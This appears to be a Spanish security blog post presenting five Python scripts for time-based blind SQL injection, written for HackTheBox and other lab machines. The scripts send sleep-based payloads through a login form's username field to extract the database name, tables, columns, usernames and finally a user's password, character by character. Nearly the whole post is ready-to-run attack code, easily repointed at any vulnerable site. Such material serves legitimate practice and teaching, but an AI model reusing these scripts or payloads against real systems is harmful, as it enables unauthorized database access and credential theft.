Los diferentes scripts a continuación han sido desarrollados por Marcelo Vázquez (@s4vitar) y se muestran en el vídeo de la máquina Cronos de HackTheBox (vía POST) y CatchMe (vía GET).

Antes de lanzar los scripts, es recomendable validar que la página es de verdad vulnerable a inyección SQL a través los siguientes payloads: 'oR sLEeP(3);# o 'oR sLEeP(3);-- -

bbdd.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests, time, sys, signal
from pwn import * # pip3 install pwn

def def_handler(sig, frame):
	# Definimos que queremos que pase al pulsar Ctrl+C
	log.failure("Saliendo")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = 'http://10.10.170.135:1337/978345210/index.php'
# Utilizamos Burp Suite para tunelizar las peticiones web
burp = {'http': 'http://127.0.0.1:8080'}
# Definimos los caracteres que se van a probar
s = r'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[]^_'
resultado = ''

# Función para validar cuánto tarda el servidor web en responder
def check(payload):
	# Definir los datos que se tramitan vía POST
	data_post = {
		'username': '%s' % payload, # payload se va a pasar como argumento a esta función
		'password': 'test',
		'submit': '+Login+'
	}

	tiempo_inicio = time.time() # Obtener el tiempo actual
	content = requests.post(url, data=data_post) # Tramitar la petición POST, con proxies=burp se tuneliza con Burp
	tiempo_fin = time.time()

	# Si el tiempo final menos el tiempo actual es mayor de 3 segundos
	# Esto quiere decir que la respuesta del lado del servidor ha tardado más de 3 segundos
	# Nunca tarda 3 segundos exactos, tarda más
	if tiempo_fin - tiempo_inicio > 3:
		return 1

p1 = log.progress("Base de datos")
p2 = log.progress("Payload")

# 10 define el número total de caracteres del nombre de la BBDD
for i in range(1, 10):
	# Recorrer cada carácter a probar de la variable c
	for c in s:
		payload = "' or if(substr(database(),%d,1)=binary(0x%s),sleep(3),1)-- -" % (i,c.encode('utf-8').hex())
		p2.status("%s" % payload) # Muestra todas las peticiones que se van tramitando a tiempo real
		if check(payload):
			# La variable resultado se va a ir ampliando con el nombre de la BBDD actual
			resultado += c
			p1.status("%s" % resultado)
			break

log.info("Base de datos: %s" % resultado) # Mostrar el nombre final de la BBDD actual

tablas.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests, time, sys, signal
from pwn import *

def def_handler(sig, frame):
	log.failure("Saliendo")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = 'http://10.10.170.135:1337/978345210/index.php'
burp = {'http': 'http://127.0.0.1:8080'}
s = r'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[]^_'
resultado = ''

def check(payload):
	data_post = {
		'username': '%s' % payload,
		'password': 'test',
		'submit': '+Login+'
	}

	tiempo_inicio = time.time()
	content = requests.post(url, data=data_post)
	tiempo_fin = time.time()

	if tiempo_fin - tiempo_inicio > 3:
		return 1

p2 = log.progress("Payload")

# Define la base de datos previamente encontrada 
bbdd = "Webapp"

for j in range(0, 3): # 3 define el número de tablas
	p1 = log.progress("Tabla [%d]" % j)
	for i in range(1, 10): # 10 define el número total de caracteres del nombre la tabla
		for c in s:
			# Con LIMIT listamos una única tabla
			# El payload se traduce de la siguiente forma:
			# El primer bucle se encarga de tomar un número de tabla concreto
			# Para la primera tabla que encuentre va a probar la primera posición y va a ir fuzzeando cada uno de los caracteres
			# En el momento que coincida va a haber un break y va a saltar a la siguiente posición
			# Va a continuar enumerando hasta alcanzar los 10 caracteres establecidos en el segundo bucle
			# Una vez termine se va a ir al LIMIT 1,1 y va a continuar enumerando todas las tablas
			payload = "' or if(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)=binary(0x%s),sleep(3),1)-- -" % (bbdd,j,i,c.encode('utf-8').hex())
			p2.status("%s" % payload)
			if check(payload):
				resultado += c
				p1.status("%s" % resultado)
				break

	# Histórico con las tablas encontradas
	p1.success("%s" % resultado)
	# Se encarga de vaciar el resultado
	resultado = ''

columnas.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests, time, sys, signal
from pwn import *

def def_handler(sig, frame):
	log.failure("Saliendo")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = 'http://10.10.170.135:1337/978345210/index.php'
burp = {'http': 'http://127.0.0.1:8080'}
s = r'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[]^_'
resultado = ''

def check(payload):
	data_post = {
		'username': '%s' % payload,
		'password': 'test',
		'submit': '+Login+'
	}

	tiempo_inicio = time.time()
	content = requests.post(url, data=data_post)
	tiempo_fin = time.time()

	if tiempo_fin - tiempo_inicio > 3:
		return 1

p2 = log.progress("Payload")

# Define la base de datos previamente encontrada
bbdd = "Webapp"

# Define la tabla previamente encontrada
tabla = "Users"

for j in range(0, 3): # 3 define el número de columnas
	p1 = log.progress("Columna [%d]" % j)
	for i in range(1, 10): # 10 define el número total de caracteres del nombre la columna
		for c in s:
			payload = "' or if(substr((select column_name from information_schema.columns where table_name='%s' and table_schema='%s' limit %d,1),%d,1)=binary(0x%s),sleep(3),1)-- -" % (tabla,bbdd,j,i,c.encode('utf-8').hex())
			p2.status("%s" % payload)
			if check(payload):
				resultado += c
				p1.status("%s" % resultado)
				break

	# Histórico con las columnas encontradas
	p1.success("%s" % resultado)
	# Se encarga de vaciar el resultado
	resultado = ''

registros.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-
 
import requests, time, sys, signal
from pwn import *
 
def def_handler(sig, frame):
    log.failure("Saliendo")
    sys.exit(1)
 
signal.signal(signal.SIGINT, def_handler)
 
url = 'http://10.10.170.135:1337/978345210/index.php'
burp = {'http': 'http://127.0.0.1:8080'}
s = r'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[]^_'
resultado = ''
 
def check(payload):
    data_post = {
        'username': '%s' % payload,
        'password': 'test',
        'submit': '+Login+'
    }
 
    tiempo_inicio = time.time()
    content = requests.post(url, data=data_post)
    tiempo_fin = time.time()
 
    if tiempo_fin - tiempo_inicio > 3:
        return 1
 
p2 = log.progress("Payload")
 
# Define la base de datos previamente encontrada
bbdd = "Webapp"
 
# Define la tabla previamente encontrada
tabla = "Users"
 
# Define la columna previamente encontrada
columna = "username"

for j in range(0, 10): # 10 define el número de registros
    p1 = log.progress("Registro [%d]" % j)
    for i in range(1, 10): # 10 define el número total de caracteres del nombre del registro
        for c in s:
            payload = "' or if(substr((select %s from %s.%s limit %d,1),%d,1)=binary(0x%s),sleep(3),1)-- -" % (columna,bbdd,tabla,j,i,c.encode('utf-8').hex())
            p2.status("%s" % payload)
            if check(payload):
                resultado += c
                p1.status("%s" % resultado)
                break
 
    # Histórico con los registros encontrados
    p1.success("%s" % resultado)
    # Se encarga de vaciar el resultado
    resultado = ''

claves.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests, time, sys, signal
from pwn import *

def def_handler(sig, frame):
	log.failure("Saliendo")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = 'http://10.10.170.135:1337/978345210/index.php'
burp = {'http': 'http://127.0.0.1:8080'}
s = r'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[]^_'
resultado = ''

def check(payload):
	data_post = {
		'username': '%s' % payload,
		'password': 'test',
		'submit': '+Login+'
	}

	tiempo_inicio = time.time()
	content = requests.post(url, data=data_post)
	tiempo_fin = time.time()

	if tiempo_fin - tiempo_inicio > 3:
		return 1

# Define la base de datos encontrada previamente
bbdd = "Webapp"

# Define la tabla encontrada previamente
tabla = "Users"

# Define el usuario encontrado
usuario = "gimli"

p1 = log.progress("Contraseña")
p2 = log.progress("Payload")

for i in range(1, 40): # Establecemos 40 caracteres para la contraseña por si fuese larga o un hash
	for c in s:
		payload = "' or if(substr((select password from %s where username='%s'),%d,1)=binary(0x%s),sleep(3),1)-- -" % (tabla,usuario,i,c.encode('utf-8').hex())
		p2.status("%s" % payload)
		if check(payload):
			resultado += c
			p1.status("%s" % resultado)
			break

# Histórico con los usuarios encontrados
p1.success("%s" % resultado)
¿Me ayudas a compartirlo?
Última modificación: 19 julio 2020

Autor

Comentarios

Comenta o responde a los comentarios

Tu dirección de correo no será publicada.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.